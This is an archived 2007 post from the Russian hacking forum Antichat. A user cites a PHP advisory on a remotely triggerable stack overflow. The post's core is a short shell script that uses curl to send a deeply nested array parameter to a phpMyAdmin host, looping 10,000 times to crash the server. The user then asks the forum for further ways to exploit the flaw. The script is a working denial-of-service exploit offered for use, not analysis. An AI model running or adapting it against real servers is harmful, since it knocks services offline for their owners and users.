ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
Перезагрузить страницу Что можно сделать, если удалённо вызвать в Php переполнение стека?
   
 
 
Опции темы Поиск в этой теме Опции просмотра
Предыдущая Предыдущее сообщение   Следующее сообщение Следующая

Что можно сделать, если удалённо вызвать в Php переполнение стека?
  #1  
Старый 13.03.2007, 21:02
Аватар для pento
pento
Участник форума
Регистрация: 03.07.2006
Сообщений: 147
Провел на форуме:
438137

Репутация: 66
По умолчанию Что можно сделать, если удалённо вызвать в Php переполнение стека?
Собственно
есть
http://www.php-security.org/MOPB/MOPB-02-2007.html
и есть бажный код.

Пока додумался только до

Код:
#!/bin/sh
foo="curl http://xxx.xxx.xx.xx/phpmyadmin/ -d a"`php -r 'echo str_repeat("[a]",20000);'`"=1"
for i in `seq 1 10000`; do
    `$foo`;
done
Может ещё чего можно интересного замутить, используя дыру эту?
Последний раз редактировалось pento; 13.03.2007 в 21:04..
 
Ответить с цитированием
 



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Shell-аккаунт - что это? zl0ba Чужие Статьи 5 10.12.2006 01:35
Firewall: принцип работы D=P=CH= MOD= Защита ОС: вирусы, антивирусы, файрволы. 0 02.10.2006 22:36
Проникновение в беспроводную сеть WiFi Digimortal Авторские статьи 0 25.08.2006 21:14
Что ломать? Almight Чаты 3 09.02.2004 18:48
Что можно сделать с ip адресом iRedX ICQ 1 01.04.2003 21:21



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ